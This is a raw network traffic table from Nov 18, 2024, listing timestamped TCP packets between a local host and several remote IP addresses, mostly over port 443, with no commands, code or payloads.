Nov 18, 2024 20:21:44.201684952 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.201690912 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.204265118 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.204303980 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.204437971 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.204566002 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.204576015 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.212048054 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.212260008 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.212368011 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.212439060 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.212439060 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.212476015 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.212507010 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.214427948 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.214472055 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.215513945 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.215616941 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.215630054 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.239798069 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.239821911 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.239861965 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.239887953 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.239991903 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.240017891 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.240017891 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.240031958 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.240036011 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.242074013 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.242093086 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.242151976 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.242275953 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.242290020 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.247457981 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.247792006 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.247811079 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.248233080 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.248236895 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.286348104 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.286406040 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.286526918 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.286586046 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.286602020 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.286613941 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.286619902 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.289726019 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.289760113 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.289870977 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.290608883 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.290621996 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.377038002 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.377110004 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.377161026 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.392873049 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.392890930 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.392903090 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.392909050 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.411365032 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.411442041 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.411566973 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.413079023 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.413114071 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.948481083 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.952760935 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.952791929 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.953361034 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.953366995 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.966479063 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.966943979 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.966988087 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.967387915 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.967394114 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.025368929 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.025899887 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.025923967 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.026365995 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.026371002 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.027623892 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.028124094 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.028156996 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.028592110 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.028618097 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.083354950 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.083446980 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.083548069 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.086155891 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.086155891 CET	49832	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.086205006 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.086231947 CET	443	49832	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.097332954 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.097440958 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.097512007 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.103822947 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.103878021 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.103974104 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.105777025 CET	49833	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.105787992 CET	443	49833	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.110158920 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.110177040 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.113439083 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.113481045 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.113568068 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.114052057 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.114068985 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.136369944 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.136857033 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.136895895 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.137342930 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.137350082 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.159409046 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.160029888 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.160099983 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.160124063 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.160187960 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.160897970 CET	49834	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.160913944 CET	443	49834	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.167232037 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.167268991 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.167344093 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.167532921 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.167550087 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.218436003 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.218703985 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.218777895 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.220305920 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.220355988 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.220385075 CET	49835	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.220401049 CET	443	49835	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.248285055 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.248366117 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.248476028 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.263143063 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.263220072 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.263284922 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.269545078 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.269593000 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.269963026 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.269984961 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.269999027 CET	49836	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.270004988 CET	443	49836	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.279233932 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.279309034 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.279616117 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.279855967 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:45.279891014 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:45.799031973 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:45.799094915 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:45.799164057 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:45.799420118 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:45.799454927 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.015755892 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.016877890 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.016907930 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.017323017 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.017329931 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.019341946 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.033545017 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.033617020 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.034264088 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.034271955 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.042865038 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.043251991 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.043272972 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.044152975 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.044157982 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.134064913 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.134623051 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.134644985 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.135075092 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.135101080 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.166913033 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.167550087 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.167607069 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.167953014 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.167970896 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229007959 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229101896 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229340076 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229340076 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229367971 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229465008 CET	49840	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229481936 CET	443	49840	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229491949 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229578018 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229599953 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229620934 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229703903 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229914904 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229916096 CET	49841	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.229933023 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.229939938 CET	443	49841	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.232264996 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232306004 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.232364893 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232551098 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232600927 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.232693911 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232697010 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232709885 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.232820988 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.232837915 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.241451025 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.241590977 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.241898060 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.241898060 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.242110014 CET	49842	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.242117882 CET	443	49842	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.244265079 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.244307995 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.244381905 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.244662046 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.244679928 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.323828936 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.323950052 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.324027061 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.324354887 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.324368954 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.324418068 CET	49843	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.324424028 CET	443	49843	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.327758074 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.327780008 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.327864885 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.328011036 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.328023911 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.350204945 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.350361109 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.350467920 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.350652933 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.350652933 CET	49844	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.350691080 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.350718021 CET	443	49844	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.359278917 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.359342098 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.359442949 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.359838963 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.359857082 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.551850080 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:46.805738926 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.806051970 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:46.806092978 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.807789087 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.807928085 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:46.808801889 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:46.808940887 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.820528984 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.820557117 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.820682049 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.826035976 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.826051950 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.826122999 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.826153994 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.828159094 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.828465939 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:46.828484058 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:46.854348898 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:46.854370117 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:46.895708084 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:47.037949085 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.044114113 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.052949905 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.082004070 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.094883919 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.094897985 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.095477104 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.095482111 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.096362114 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.096411943 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.096744061 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.096750975 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.097275019 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.105741024 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.112819910 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.124237061 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.124270916 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.124694109 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.124699116 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.124844074 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.124864101 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.125489950 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.125495911 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.150325060 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.150330067 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.179291964 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.179300070 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.231718063 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.231781960 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.231861115 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.233912945 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.233953953 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.234019995 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.234045029 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.234085083 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.252194881 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.252213955 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.252243042 CET	49847	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.252248049 CET	443	49847	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.253694057 CET	49848	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.253726959 CET	443	49848	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.259499073 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.259531021 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.259574890 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.259603024 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.259638071 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.262203932 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.262692928 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.263842106 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.315393925 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.315634966 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.315728903 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.409877062 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.409931898 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.409966946 CET	49849	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.409989119 CET	443	49849	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.411902905 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.411902905 CET	49851	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.411921978 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.411942959 CET	443	49851	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.412971020 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.413012028 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.413028002 CET	49850	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.413036108 CET	443	49850	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.419004917 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.419047117 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.419205904 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.426580906 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.426594019 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.488673925 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.488698006 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.488794088 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.491260052 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.491303921 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.491559982 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.492263079 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.492278099 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.495470047 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.495486975 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.496725082 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.496779919 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.496851921 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.496997118 CET	49860	443	192.168.2.5	13.107.246.45
